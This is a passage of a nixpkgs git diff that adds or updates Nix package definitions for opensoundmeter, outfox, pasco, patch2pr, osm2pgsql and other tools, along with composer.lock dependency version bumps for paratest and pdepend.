$$_PRO_FILE_PWD_/.git --work-tree $$_PRO_FILE_PWD_ rev-list --tags --max-count=1)) ++APP_GIT_VERSION = ? +@@ -486 +486 @@ +-unix:!macx:!ios:CONFIG(release, debug|release) { ++unix:!linux:!macx:!ios:CONFIG(release, debug|release) { diff --git a/pkgs/by-name/op/opensoundmeter/package.nix b/pkgs/by-name/op/opensoundmeter/package.nix new file mode 100644 index 0000000000000..77c7237f85f57 --- /dev/null +++ b/pkgs/by-name/op/opensoundmeter/package.nix @@ -0,0 +1,45 @@ +{ lib, stdenv, fetchFromGitHub, alsa-lib, qt5 }: + +let + inherit (qt5) qmake wrapQtAppsHook qtgraphicaleffects qtquickcontrols2; +in stdenv.mkDerivation rec { + pname = "opensoundmeter"; + version = "1.3"; + + src = fetchFromGitHub { + owner = "psmokotnin"; + repo = "osm"; + rev = "v${version}"; + hash = "sha256-nRibcEtG6UUTgn7PhSg4IyahMYi5aSPvaEOrAdx6u3o="; + }; + + patches = [ ./build.patch ]; + + postPatch = '' + substituteInPlace OpenSoundMeter.pro \ + --replace 'APP_GIT_VERSION = ?' 'APP_GIT_VERSION = ${src.rev}' + ''; + + nativeBuildInputs = [ qmake wrapQtAppsHook ]; + + buildInputs = [ alsa-lib qtgraphicaleffects qtquickcontrols2 ]; + + installPhase = '' + runHook preInstall + + install OpenSoundMeter -Dt $out/bin + install OpenSoundMeter.desktop -m444 -Dt $out/share/applications + install icons/white.png -m444 -D $out/share/icons/OpenSoundMeter.png + + runHook postInstall + ''; + + meta = with lib; { + description = "Sound measurement application for tuning audio systems in real-time"; + homepage = "https://opensoundmeter.com/"; + license = licenses.gpl3Plus; + mainProgram = "OpenSoundMeter"; + maintainers = with maintainers; [ orivej ]; + platforms = platforms.linux; + }; +} diff --git a/pkgs/by-name/op/openttd-ttf/package.nix b/pkgs/by-name/op/openttd-ttf/package.nix new file mode 100644 index 0000000000000..6c9f71999588a --- /dev/null +++ b/pkgs/by-name/op/openttd-ttf/package.nix @@ -0,0 +1,51 @@ +{ lib +, stdenvNoCC +, fetchFromGitHub +, python3 +}: + +stdenvNoCC.mkDerivation (finalAttrs: { + pname = "openttd-ttf"; + version = "0.5"; + + src = fetchFromGitHub { + owner = "zephyris"; + repo = "openttd-ttf"; + rev = "refs/tags/${finalAttrs.version}"; + hash = "sha256-GjtfwM268i3bUAX8Pw5/Og9029AuD1OZuJ2VIlFTogY="; + }; + + nativeBuildInputs = [ + (python3.withPackages (pp: with pp; [ + fontforge + pillow + setuptools + ])) + ]; + + postPatch = '' + chmod a+x build.sh + patchShebangs --build build.sh + ''; + + buildPhase = '' + runHook preBuild + ./build.sh + runHook postBuild + ''; + + installPhase = '' + runHook preInstall + install -m444 -Dt $out/share/fonts/truetype */*.ttf + runHook postInstall + ''; + + meta = with lib; { + homepage = "https://github.com/zephyris/openttd-ttf"; + changelog = "https://github.com/zephyris/openttd-ttf/releases/tag/${finalAttrs.version}"; + description = "TrueType typefaces for text in a pixel art style, designed for use in OpenTTD"; + license = [ licenses.gpl2 ]; + platforms = platforms.all; + maintainers = [ maintainers.sfrijters ]; + }; +}) diff --git a/pkgs/by-name/op/opentype-sanitizer/package.nix b/pkgs/by-name/op/opentype-sanitizer/package.nix index 2e7e7e62180ee..00d61a6b32d60 100644 --- a/pkgs/by-name/op/opentype-sanitizer/package.nix +++ b/pkgs/by-name/op/opentype-sanitizer/package.nix @@ -21,6 +21,8 @@ stdenv.mkDerivation (finalAttrs: { hash = "sha256-gsNMPNPcfHyOgjJnIrJ5tLYHbCfIfTowEhcaGOUPb2Q="; }; + mesonFlags = [ "-Dcpp_std=c++14" ]; + buildInputs = [ freetype gtest diff --git a/pkgs/by-name/os/osc-cli/package.nix b/pkgs/by-name/os/osc-cli/package.nix new file mode 100644 index 0000000000000..fc9db543b1581 --- /dev/null +++ b/pkgs/by-name/os/osc-cli/package.nix @@ -0,0 +1,41 @@ +{ + lib + , python3 + , fetchFromGitHub +}: + +python3.pkgs.buildPythonApplication rec { + pname = "osc-cli"; + version = "1.11.0"; + pyproject = true; + + src = fetchFromGitHub { + owner = "outscale"; + repo = "osc-cli"; + rev = "v${version}"; + hash = "sha256-7WXy+1NHwFvYmyi5xGfWpq/mbVGJ3WkgP5WQd5pvcC0="; + }; + + nativeBuildInputs = [ + python3.pkgs.setuptools + ]; + + propagatedBuildInputs = with python3.pkgs; [ + defusedxml + fire + requests + typing-extensions + xmltodict + ]; + + # Skipping tests as they require working access and secret keys + doCheck = false; + + meta = with lib; { + description = "Official Outscale CLI providing connectors to Outscale API"; + homepage = "https://github.com/outscale/osc-cli"; + license = licenses.bsd3; + maintainers = with maintainers; [ nicolas-goudry ]; + mainProgram = "osc-cli"; + }; +} diff --git a/pkgs/tools/misc/osm2pgsql/default.nix b/pkgs/by-name/os/osm2pgsql/package.nix index addfb26dfe3fd..0ddfb737fcee1 100644 --- a/pkgs/tools/misc/osm2pgsql/default.nix +++ b/pkgs/by-name/os/osm2pgsql/package.nix @@ -5,6 +5,7 @@ , fmt , proj , bzip2 +, cli11 , zlib , boost , postgresql @@ -22,13 +23,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "osm2pgsql"; - version = "1.10.0"; + version = "1.11.0"; src = fetchFromGitHub { owner = "osm2pgsql-dev"; repo = "osm2pgsql"; rev = finalAttrs.version; - hash = "sha256-IFAQ7iA37QXnWOSxUjh9EW7ss85k0h948JGuuUcpr5w="; + hash = "sha256-95B4WVaf3AwaC+S6dCJpUq/1J47rOZjWUBxmRqHCu4w="; }; postPatch = '' @@ -41,6 +42,7 @@ stdenv.mkDerivation (finalAttrs: { buildInputs = [ boost bzip2 + cli11 expat fmt libosmium @@ -56,10 +58,11 @@ stdenv.mkDerivation (finalAttrs: { ++ lib.optional (!withLuaJIT) lua; cmakeFlags = [ - "-DEXTERNAL_LIBOSMIUM=ON" - "-DEXTERNAL_PROTOZERO=ON" - "-DEXTERNAL_FMT=ON" - ] ++ lib.optional withLuaJIT "-DWITH_LUAJIT:BOOL=ON"; + (lib.cmakeBool "EXTERNAL_LIBOSMIUM" true) + (lib.cmakeBool "EXTERNAL_PROTOZERO" true) + (lib.cmakeBool "EXTERNAL_FMT" true) + (lib.cmakeBool "WITH_LUAJIT" withLuaJIT) + ]; installFlags = [ "install-gen" ]; @@ -72,6 +75,6 @@ stdenv.mkDerivation (finalAttrs: { homepage = "https://osm2pgsql.org"; license = licenses.gpl2Plus; platforms = platforms.unix; - maintainers = with maintainers; [ jglukasik das-g ]; + maintainers = with maintainers; teams.geospatial.members ++ [ jglukasik das-g ]; }; }) diff --git a/pkgs/by-name/ot/oterm/package.nix b/pkgs/by-name/ot/oterm/package.nix index b6b7b70776196..4b3920ad83ae8 100644 --- a/pkgs/by-name/ot/oterm/package.nix +++ b/pkgs/by-name/ot/oterm/package.nix @@ -15,6 +15,7 @@ python3Packages.buildPythonApplication rec { }; pythonRelaxDeps = [ + "aiosqlite" "pillow" "httpx" ]; diff --git a/pkgs/by-name/ou/outfox/package.nix b/pkgs/by-name/ou/outfox/package.nix new file mode 100644 index 0000000000000..b18ed662faff5 --- /dev/null +++ b/pkgs/by-name/ou/outfox/package.nix @@ -0,0 +1,79 @@ +{ lib +, stdenv +, fetchurl +, autoPatchelfHook +, alsa-lib +, freetype +, libjack2 +, libglvnd +, libpulseaudio +, makeDesktopItem +, makeWrapper +}: + +stdenv.mkDerivation rec { + pname = "outfox"; + version = "0.5.0-pre042"; + + src = { + i686-linux = fetchurl { + url = "https://github.com/TeamRizu/OutFox/releases/download/OF5.0.0-042/OutFox-alpha-0.5.0-pre042-Linux-14.04-32bit-i386-i386-legacy-date-20231227.tar.gz"; + sha256 = "sha256-NFjNoqJ7Fq4A7Y0k6oQcWjykV+/b/MiRtJ1p6qlZdjs="; + }; + x86_64-linux = fetchurl { + url = "https://github.com/TeamRizu/OutFox/releases/download/OF5.0.0-042/OutFox-alpha-0.5.0-pre042-Linux-22.04-amd64-current-date-20231224.tar.gz"; + hash = "sha256-dW+g/JYav3rUuI+nHDi6rXu/O5KYiEdk/HH82jgOUnI="; + }; + aarch64-linux = fetchurl { + url = "https://github.com/TeamRizu/OutFox/releases/download/OF5.0.0-042/OutFox-alpha-0.5.0-pre042-Raspberry-Pi-Linux-18.04-arm64-arm64v8-modern-date-20231225.tar.gz"; + hash = "sha256-7Qrq6t8KmUSIK4Rskkxw5l4UZ2vsb9/orzPegHySaJ4="; + }; + armv7l-linux = fetchurl { + url = "https://github.com/TeamRizu/OutFox/releases/download/OF5.0.0-042/OutFox-alpha-0.5.0-pre042-Raspberry-Pi-Linux-14.04-arm32-arm32v7-legacy-date-20231227.tar.gz"; + hash = "sha256-PRp7kuqFBRy7nextTCB+/poc+A9AX2EiQphx6aUfT8E="; + }; + }.${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}"); + + nativeBuildInputs = [ + autoPatchelfHook + makeWrapper + ]; + + buildInputs = [ + alsa-lib + freetype + libjack2 + libglvnd + libpulseaudio + ]; + + desktop = makeDesktopItem { + name = "project-outfox"; + desktopName = "Project OutFox"; + genericName = "Rhythm game engine"; + exec = "OutFox"; + tryExec = "OutFox"; + categories = [ "Game" ]; + }; + + patchPhase = '' + find ./Appearance -type f -executable -exec chmod -x {} \; + ''; + + installPhase = '' + mkdir -p $out/bin $out/share/OutFox $out/share/applications + cp -r ./. $out/share/OutFox + ln -s ${desktop}/share/applications/project-outfox.desktop $out/share/applications/project-outfox.desktop + makeWrapper $out/share/OutFox/OutFox $out/bin/OutFox --argv0 + ''; + + meta = with lib; { + description = "A rhythm game engine forked from StepMania"; + homepage = "https://projectoutfox.com"; + sourceProvenance = with sourceTypes; [ binaryNativeCode ]; + license = licenses.unfree; + platforms = [ "x86_64-linux" "i686-linux" "aarch64-linux" "armv7l-linux" ]; + maintainers = with maintainers; [ maxwell-lt ]; + mainProgram = "OutFox"; + }; +} diff --git a/pkgs/tools/misc/outils/default.nix b/pkgs/by-name/ou/outils/package.nix index 065d641f4f304..e29e6440edcb7 100644 --- a/pkgs/tools/misc/outils/default.nix +++ b/pkgs/by-name/ou/outils/package.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "outils"; - version = "0.10"; + version = "0.13"; src = fetchFromGitHub { owner = "leahneukirchen"; - repo = pname; + repo = "outils"; rev = "v${version}"; - sha256 = "sha256-xYjILa0Km57q/xNP+M34r29WLGC15tzUNoUgPzQTtIs="; + hash = "sha256-FokJytwQsbGsryBzyglpb1Hg3wti/CPQTOfIGIz9ThA="; }; makeFlags = [ "PREFIX=$(out)" ]; diff --git a/pkgs/by-name/pa/pa-notify/package.nix b/pkgs/by-name/pa/pa-notify/package.nix new file mode 100644 index 0000000000000..3846b71ef38f4 --- /dev/null +++ b/pkgs/by-name/pa/pa-notify/package.nix @@ -0,0 +1,42 @@ +{ lib +, stdenv +, fetchFromGitHub +, cmake +, extra-cmake-modules +, glib +, libnotify +, libpulseaudio +, pkg-config +}: +stdenv.mkDerivation (finalAttrs: { + pname = "pa-notify"; + version = "1.5.0"; + + src = fetchFromGitHub { + owner = "ikrivosheev"; + repo = "pa-notify"; + rev = "v${finalAttrs.version}"; + hash = "sha256-356qwSxxxAUNJajsVjH3zqGAZQwMOcoLPSKPZdsCmBM="; + }; + + nativeBuildInputs = [ + cmake + extra-cmake-modules + pkg-config + ]; + + buildInputs = [ + glib + libnotify + libpulseaudio + ]; + + meta = with lib; { + homepage = "https://github.com/ikrivosheev/pa-notify"; + description = "PulseAudio or PipeWire volume notification"; + license = licenses.mit; + maintainers = with maintainers; [ juancmuller ]; + mainProgram = "pa-notify"; + platforms = platforms.linux; + }; +}) diff --git a/pkgs/by-name/pa/pan-bindings/package.nix b/pkgs/by-name/pa/pan-bindings/package.nix new file mode 100644 index 0000000000000..66fea9b587403 --- /dev/null +++ b/pkgs/by-name/pa/pan-bindings/package.nix @@ -0,0 +1,61 @@ +{ lib +, stdenv +, fetchFromGitHub +, buildGo122Module +, cmake +, ncurses +, asio +}: + +let + version = "unstable-2024-03-03"; + src = fetchFromGitHub { + owner = "lschulz"; + repo = "pan-bindings"; + rev = "4361d30f1c5145a70651c259f2d56369725b0d15"; + hash = "sha256-0WxrgXTCM+BwGcjjWBBKiZawje2yxB5RRac6Sk5t3qc="; + }; + goDeps = (buildGo122Module { + name = "pan-bindings-goDeps"; + inherit src version; + modRoot = "go"; + vendorHash = "sha256-7EitdEJTRtiM29qmVnZUM6w68vCBI8mxZhCA7SnAxLA="; + }); +in + +stdenv.mkDerivation { + name = "pan-bindings"; + + inherit src version; + + cmakeFlags = [ + "-DBUILD_SHARED_LIBS=1" + "-DBUILD_EXAMPLES=0" + ]; + + patchPhase = '' + runHook prePatch + export HOME=$TMP + cp -r --reflink=auto ${goDeps.goModules} go/vendor + runHook postPatch + ''; + + buildInputs = [ + ncurses + asio + ]; + + nativeBuildInputs = [ + cmake + goDeps.go + ]; + + meta = with lib; { + description = "SCION PAN Bindings for C, C++, and Python"; + homepage = "https://github.com/lschulz/pan-bindings"; + license = licenses.asl20; + maintainers = with maintainers; [ matthewcroughan ]; + mainProgram = "pan-bindings"; + platforms = platforms.all; + }; +} diff --git a/pkgs/by-name/pa/parallel-disk-usage/package.nix b/pkgs/by-name/pa/parallel-disk-usage/package.nix index ba896d3afb117..f3aa96cbed149 100644 --- a/pkgs/by-name/pa/parallel-disk-usage/package.nix +++ b/pkgs/by-name/pa/parallel-disk-usage/package.nix @@ -4,16 +4,16 @@ }: rustPlatform.buildRustPackage rec { pname = "parallel-disk-usage"; - version = "0.9.1"; + version = "0.9.2"; src = fetchFromGitHub { owner = "KSXGitHub"; repo = pname; rev = version; - hash = "sha256-Bo2fBOGuAur3dQtBdcbeDRBgp+bFpi86dZQjSuZpEc8="; + hash = "sha256-nWn6T1vJ4UANuU5EL5Ws5qT+k8Wd3Cm0SOJEgAbsCvo="; }; - cargoHash = "sha256-V7j2dvu7Z3Xq8WGoFxl6DjO8sYU8+ZNC9V6qqdYIuQo="; + cargoHash = "sha256-69DwIDGX4b+l2ay+OH3gjHnCj43VXruzBklOkS6M0DY="; meta = with lib; { description = "Highly parallelized, blazing fast directory tree analyzer"; diff --git a/pkgs/by-name/pa/paratest/composer.lock b/pkgs/by-name/pa/paratest/composer.lock index 2387a8e9176db..23177e4e5da46 100644 --- a/pkgs/by-name/pa/paratest/composer.lock +++ b/pkgs/by-name/pa/paratest/composer.lock @@ -4,7 +4,7 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "c3efe6b6543d5e592e77a809fb1bb84e", + "content-hash": "11632300688e9bcc111cc0e38617b43f", "packages": [ { "name": "fidry/cpu-core-counter", @@ -2628,16 +2628,16 @@ }, { "name": "phpstan/phpstan", - "version": "1.10.57", + "version": "1.10.59", "source": { "type": "git", "url": "https://github.com/phpstan/phpstan.git", - "reference": "1627b1d03446904aaa77593f370c5201d2ecc34e" + "reference": "e607609388d3a6d418a50a49f7940e8086798281" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/phpstan/phpstan/zipball/1627b1d03446904aaa77593f370c5201d2ecc34e", - "reference": "1627b1d03446904aaa77593f370c5201d2ecc34e", + "url": "https://api.github.com/repos/phpstan/phpstan/zipball/e607609388d3a6d418a50a49f7940e8086798281", + "reference": "e607609388d3a6d418a50a49f7940e8086798281", "shasum": "" }, "require": { @@ -2686,7 +2686,7 @@ "type": "tidelift" } ], - "time": "2024-01-24T11:51:34+00:00" + "time": "2024-02-20T13:59:13+00:00" }, { "name": "phpstan/phpstan-deprecation-rules", @@ -2904,16 +2904,16 @@ }, { "name": "squizlabs/php_codesniffer", - "version": "3.8.1", + "version": "3.9.0", "source": { "type": "git", "url": "https://github.com/PHPCSStandards/PHP_CodeSniffer.git", - "reference": "14f5fff1e64118595db5408e946f3a22c75807f7" + "reference": "d63cee4890a8afaf86a22e51ad4d97c91dd4579b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/PHPCSStandards/PHP_CodeSniffer/zipball/14f5fff1e64118595db5408e946f3a22c75807f7", - "reference": "14f5fff1e64118595db5408e946f3a22c75807f7", + "url": "https://api.github.com/repos/PHPCSStandards/PHP_CodeSniffer/zipball/d63cee4890a8afaf86a22e51ad4d97c91dd4579b", + "reference": "d63cee4890a8afaf86a22e51ad4d97c91dd4579b", "shasum": "" }, "require": { @@ -2980,7 +2980,7 @@ "type": "open_collective" } ], - "time": "2024-01-11T20:47:48+00:00" + "time": "2024-02-16T15:06:51+00:00" }, { "name": "symfony/filesystem", diff --git a/pkgs/by-name/pa/paratest/package.nix b/pkgs/by-name/pa/paratest/package.nix index e75c8dd9665f5..8961c70f551cc 100644 --- a/pkgs/by-name/pa/paratest/package.nix +++ b/pkgs/by-name/pa/paratest/package.nix @@ -5,17 +5,17 @@ (php.withExtensions ({ enabled, all }: enabled ++ [ all.pcov ])).buildComposerProject (finalAttrs: { pname = "paratest"; - version = "7.4.1"; + version = "7.4.3"; src = fetchFromGitHub { owner = "paratestphp"; repo = "paratest"; rev = "v${finalAttrs.version}"; - hash = "sha256-0cyv2WSiGjyp9vv2J8hxFnuvxAwrig1DmSxKSdBzNGI="; + hash = "sha256-Shf/fsGhDmupFn/qERzXGg3ko7mBgUqYzafO/VPqmoU="; }; composerLock = ./composer.lock; - vendorHash = "sha256-vYcfmVEMGhAvPYTsVAJl7njxgVkL1b8QBr/3/DCxmCE="; + vendorHash = "sha256-9KFh6Vwzt17v6WlEutRpwCauLOcj05hR4JGDcPbYL1U="; meta = { changelog = "https://github.com/paratestphp/paratest/releases/tag/v${finalAttrs.version}"; diff --git a/pkgs/by-name/pa/pasco/include-string.h.patch b/pkgs/by-name/pa/pasco/include-string.h.patch new file mode 100644 index 0000000000000..b156a05370718 --- /dev/null +++ b/pkgs/by-name/pa/pasco/include-string.h.patch @@ -0,0 +1,10 @@ +--- a/src/pasco.c 2024-02-18 12:43:27.385857649 +0100 ++++ b/src/pasco.c 2024-02-18 12:44:00.286087384 +0100 +@@ -36,6 +36,7 @@ + #include <stdio.h> + #include <time.h> + #include <math.h> ++#include <string.h> + + // + /* This is the default block size for an activity record */ diff --git a/pkgs/by-name/pa/pasco/package.nix b/pkgs/by-name/pa/pasco/package.nix new file mode 100644 index 0000000000000..da9343db39304 --- /dev/null +++ b/pkgs/by-name/pa/pasco/package.nix @@ -0,0 +1,43 @@ +{ lib +, stdenv +, fetchurl +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "pasco"; + version = "20040505_1"; + + src = fetchurl { + url = "mirror://sourceforge/project/fast/Pasco/Pasco%20v${finalAttrs.version}/pasco_${finalAttrs.version}.tar.gz"; + hash = "sha256-o7jue+lgVxQQvFZOzJMGd1WihlD7Nb+1WaSutq9vaGg="; + }; + + patches = [ + ./include-string.h.patch + ]; + + makeFlags = [ + "-C src" + ]; + + postPatch = '' + substituteInPlace src/Makefile \ + --replace gcc cc + ''; + + installPhase = '' + runHook preInstall + mkdir -p $out/bin + cp bin/pasco $out/bin + runHook postInstall + ''; + + meta = with lib; { + description = "Examine the contents of Internet Explorer's cache files for forensic purposes"; + mainProgram = "pasco"; + homepage = "https://sourceforge.net/projects/fast/files/Pasco/"; + maintainers = with maintainers; [ d3vil0p3r ]; + platforms = platforms.unix; + license = with licenses; [ bsd3 ]; + }; +}) diff --git a/pkgs/by-name/pa/patch2pr/package.nix b/pkgs/by-name/pa/patch2pr/package.nix new file mode 100644 index 0000000000000..67b5f227bcd4c --- /dev/null +++ b/pkgs/by-name/pa/patch2pr/package.nix @@ -0,0 +1,40 @@ +{ lib +, buildGoModule +, fetchFromGitHub +, testers +, patch2pr +}: + +buildGoModule rec { + pname = "patch2pr"; + version = "0.22.0"; + + src = fetchFromGitHub { + owner = "bluekeyes"; + repo = "patch2pr"; + rev = "v${version}"; + hash = "sha256-tG0pSXmrWT5PCcR25XngbKAS3q9jKdDKqWdPqA62omE="; + }; + + vendorHash = "sha256-Z6BHUD7WrEpUmCaLvrFYCQCSbhPhee+gR5ep1oLzqbE="; + + ldflags = [ + "-X main.version=${version}" + "-X main.commit=${src.rev}" + ]; + + passthru.tests.patch2pr-version = testers.testVersion { + package = patch2pr; + command = "${patch2pr.meta.mainProgram} --version"; + version = version; + }; + + meta = with lib; { + description = "Create pull requests from patches without cloning the repository"; + homepage = "https://github.com/bluekeyes/patch2pr"; + changelog = "https://github.com/bluekeyes/patch2pr/releases/tag/v${version}"; + license = licenses.mit; + maintainers = with maintainers; [ katrinafyi ]; + mainProgram = "patch2pr"; + }; +} diff --git a/pkgs/by-name/pd/pdepend/composer.lock b/pkgs/by-name/pd/pdepend/composer.lock index 66c12d8ec02bb..0fd6360a265c0 100644 --- a/pkgs/by-name/pd/pdepend/composer.lock +++ b/pkgs/by-name/pd/pdepend/composer.lock @@ -4,26 +4,31 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "5e64a6db62881c86d7bcc23b1d82dfb0", + "content-hash": "798f54294447492ecbff9cff6999c060", "packages": [ { "name": "psr/container", - "version": "1.1.2", + "version": "2.0.2", "source": { "type": "git", "url": "https://github.com/php-fig/container.git", - "reference": "513e0666f7216c7459170d56df27dfcefe1689ea" + "reference": "c71ecc56dfe541dbd90c5360474fbc405f8d5963" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/php-fig/container/zipball/513e0666f7216c7459170d56df27dfcefe1689ea", - "reference": "513e0666f7216c7459170d56df27dfcefe1689ea", + "url": "https://api.github.com/repos/php-fig/container/zipball/c71ecc56dfe541dbd90c5360474fbc405f8d5963", + "reference": "c71ecc56dfe541dbd90c5360474fbc405f8d5963", "shasum": "" }, "require": { "php": ">=7.4.0" }, "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, "autoload": { "psr-4": { "Psr\\Container\\": "src/" @@ -50,43 +55,40 @@ ], "support": { "issues": "https://github.com/php-fig/container/issues", - "source": "https://github.com/php-fig/container/tree/1.1.2" + "source": "https://github.com/php-fig/container/tree/2.0.2" }, - "time": "2021-11-05T16:50:12+00:00" + "time": "2021-11-05T16:47:00+00:00" }, { "name": "symfony/config", - "version": "v4.4.44", + "version": "v7.0.3", "source": { "type": "git", "url": "https://github.com/symfony/config.git", - "reference": "ed42f8f9da528d2c6cae36fe1f380b0c1d8f0658" + "reference": "86a5027869ca3d6bdecae6d5d6c2f77c8f2c1d16" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/config/zipball/ed42f8f9da528d2c6cae36fe1f380b0c1d8f0658", - "reference": "ed42f8f9da528d2c6cae36fe1f380b0c1d8f0658", + "url": "https://api.github.com/repos/symfony/config/zipball/86a5027869ca3d6bdecae6d5d6c2f77c8f2c1d16", + "reference": "86a5027869ca3d6bdecae6d5d6c2f77c8f2c1d16", "shasum": "" }, "require": { - "php": ">=7.1.3", - "symfony/filesystem": "^3.4|^4.0|^5.0", - "symfony/polyfill-ctype": "~1.8", - "symfony/polyfill-php80": "^1.16", - "symfony/polyfill-php81": "^1.22" + "php": ">=8.2", + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/filesystem": "^6.4|^7.0", + "symfony/polyfill-ctype": "~1.8" }, "conflict": { - "symfony/finder": "<3.4" + "symfony/finder": "<6.4", + "symfony/service-contracts": "<2.5" }, "require-dev": { - "symfony/event-dispatcher": "^3.4|^4.0|^5.0", - "symfony/finder": "^3.4|^4.0|^5.0", - "symfony/messenger": "^4.1|^5.0", - "symfony/service-contracts": "^1.1|^2", - "symfony/yaml": "^3.4|^4.0|^5.0" - }, - "suggest": { - "symfony/yaml": "To use the yaml reference dumper" + "symfony/event-dispatcher": "^6.4|^7.0", + "symfony/finder": "^6.4|^7.0", + "symfony/messenger": "^6.4|^7.0", + "symfony/service-contracts": "^2.5|^3", + "symfony/yaml": "^6.4|^7.0" }, "type": "library", "autoload": { @@ -114,7 +116,7 @@ "description": "Helps you find, load, combine, autofill and validate configuration values of any kind", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/config/tree/v4.4.44" + "source": "https://github.com/symfony/config/tree/v7.0.3" }, "funding": [ { @@ -130,49 +132,43 @@ "type": "tidelift" } ], - "time": "2022-07-20T09:59:04+00:00" + "time": "2024-01-30T08:34:29+00:00" }, { "name": "symfony/dependency-injection", - "version": "v4.4.37", + "version": "v7.0.3", "source": { "type": "git", "url": "https://github.com/symfony/dependency-injection.git", - "reference": "c00a23904b42f140087d36e1d22c88801bb39689" + "reference": "e915c6684b8e3ae90a4441f6823ebbb40edf0b92" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/dependency-injection/zipball/c00a23904b42f140087d36e1d22c88801bb39689", - "reference": "c00a23904b42f140087d36e1d22c88801bb39689", + "url": "https://api.github.com/repos/symfony/dependency-injection/zipball/e915c6684b8e3ae90a4441f6823ebbb40edf0b92", + "reference": "e915c6684b8e3ae90a4441f6823ebbb40edf0b92", "shasum": "" }, "require": { - "php": ">=7.1.3", - "psr/container": "^1.0", - "symfony/polyfill-php80": "^1.16", - "symfony/service-contracts": "^1.1.6|^2" + "php": ">=8.2", + "psr/container": "^1.1|^2.0", + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/service-contracts": "^3.3", + "symfony/var-exporter": "^6.4|^7.0" }, "conflict": { - "symfony/config": "<4.3|>=5.0", - "symfony/finder": "<3.4", - "symfony/proxy-manager-bridge": "<3.4", - "symfony/yaml": "<3.4" + "ext-psr": "<1.1|>=2", + "symfony/config": "<6.4", + "symfony/finder": "<6.4", + "symfony/yaml": "<6.4" }, "provide": { - "psr/container-implementation": "1.0", - "symfony/service-implementation": "1.0|2.0" + "psr/container-implementation": "1.1|2.0", + "symfony/service-implementation": "1.1|2.0|3.0" }, "require-dev": { - "symfony/config": "^4.3", - "symfony/expression-language": "^3.4|^4.0|^5.0", - "symfony/yaml": "^4.4|^5.0" - }, - "suggest": { - "symfony/config": "", - "symfony/expression-language": "For using expressions in service container configuration", - "symfony/finder": "For using double-star glob patterns or when GLOB_BRACE portability is required", - "symfony/proxy-manager-bridge": "Generate service proxies to lazy load them", - "symfony/yaml": "" + "symfony/config": "^6.4|^7.0", + "symfony/expression-language": "^6.4|^7.0", + "symfony/yaml": "^6.4|^7.0" }, "type": "library", "autoload": { @@ -200,7 +196,7 @@ "description": "Allows you to standardize and centralize the way objects are constructed in your application", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/dependency-injection/tree/v4.4.37" + "source": "https://github.com/symfony/dependency-injection/tree/v7.0.3" }, "funding": [ { @@ -216,11 +212,11 @@ "type": "tidelift" } ], - "time": "2022-01-24T17:17:45+00:00" + "time": "2024-01-30T08:34:29+00:00" }, { "name": "symfony/deprecation-contracts", - "version": "v3.3.0", + "version": "v3.4.0", "source": { "type": "git", "url": "https://github.com/symfony/deprecation-contracts.git", @@ -267,7 +263,7 @@ "description": "A generic function and convention to trigger deprecation notices", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/deprecation-contracts/tree/v3.3.0" + "source": "https://github.com/symfony/deprecation-contracts/tree/v3.4.0" }, "funding": [ { @@ -287,23 +283,22 @@ }, { "name": "symfony/filesystem", - "version": "v5.4.25", + "version": "v7.0.3", "source": { "type": "git", "url": "https://github.com/symfony/filesystem.git", - "reference": "0ce3a62c9579a53358d3a7eb6b3dfb79789a6364" + "reference": "2890e3a825bc0c0558526c04499c13f83e1b6b12" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/filesystem/zipball/0ce3a62c9579a53358d3a7eb6b3dfb79789a6364", - "reference": "0ce3a62c9579a53358d3a7eb6b3dfb79789a6364", + "url": "https://api.github.com/repos/symfony/filesystem/zipball/2890e3a825bc0c0558526c04499c13f83e1b6b12", + "reference": "2890e3a825bc0c0558526c04499c13f83e1b6b12", "shasum": "" }, "require": { - "php": ">=7.2.5", + "php": ">=8.2", "symfony/polyfill-ctype": "~1.8", - "symfony/polyfill-mbstring": "~1.8", - "symfony/polyfill-php80": "^1.16" + "symfony/polyfill-mbstring": "~1.8" }, "type": "library", "autoload": { @@ -331,7 +326,7 @@ "description": "Provides basic utilities for the filesystem", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/filesystem/tree/v5.4.25" + "source": "https://github.com/symfony/filesystem/tree/v7.0.3" }, "funding": [ { @@ -347,20 +342,20 @@ "type": "tidelift" } ], - "time": "2023-05-31T13:04:02+00:00" + "time": "2024-01-23T15:02:46+00:00" }, { "name": "symfony/polyfill-ctype", - "version": "v1.28.0", + "version": "v1.29.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-ctype.git", - "reference": "ea208ce43cbb04af6867b4fdddb1bdbf84cc28cb" + "reference": "ef4d7e442ca910c4764bce785146269b30cb5fc4" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/ea208ce43cbb04af6867b4fdddb1bdbf84cc28cb", - "reference": "ea208ce43cbb04af6867b4fdddb1bdbf84cc28cb", + "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/ef4d7e442ca910c4764bce785146269b30cb5fc4", + "reference": "ef4d7e442ca910c4764bce785146269b30cb5fc4", "shasum": "" }, "require": { @@ -374,9 +369,6 @@ }, "type": "library", "extra": { - "branch-alias": { - "dev-main": "1.28-dev" - }, "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" @@ -413,7 +405,7 @@ "portable" ], "support": { - "source": "https://github.com/symfony/polyfill-ctype/tree/v1.28.0" + "source": "https://github.com/symfony/polyfill-ctype/tree/v1.29.0" }, "funding": [ { @@ -429,20 +421,20 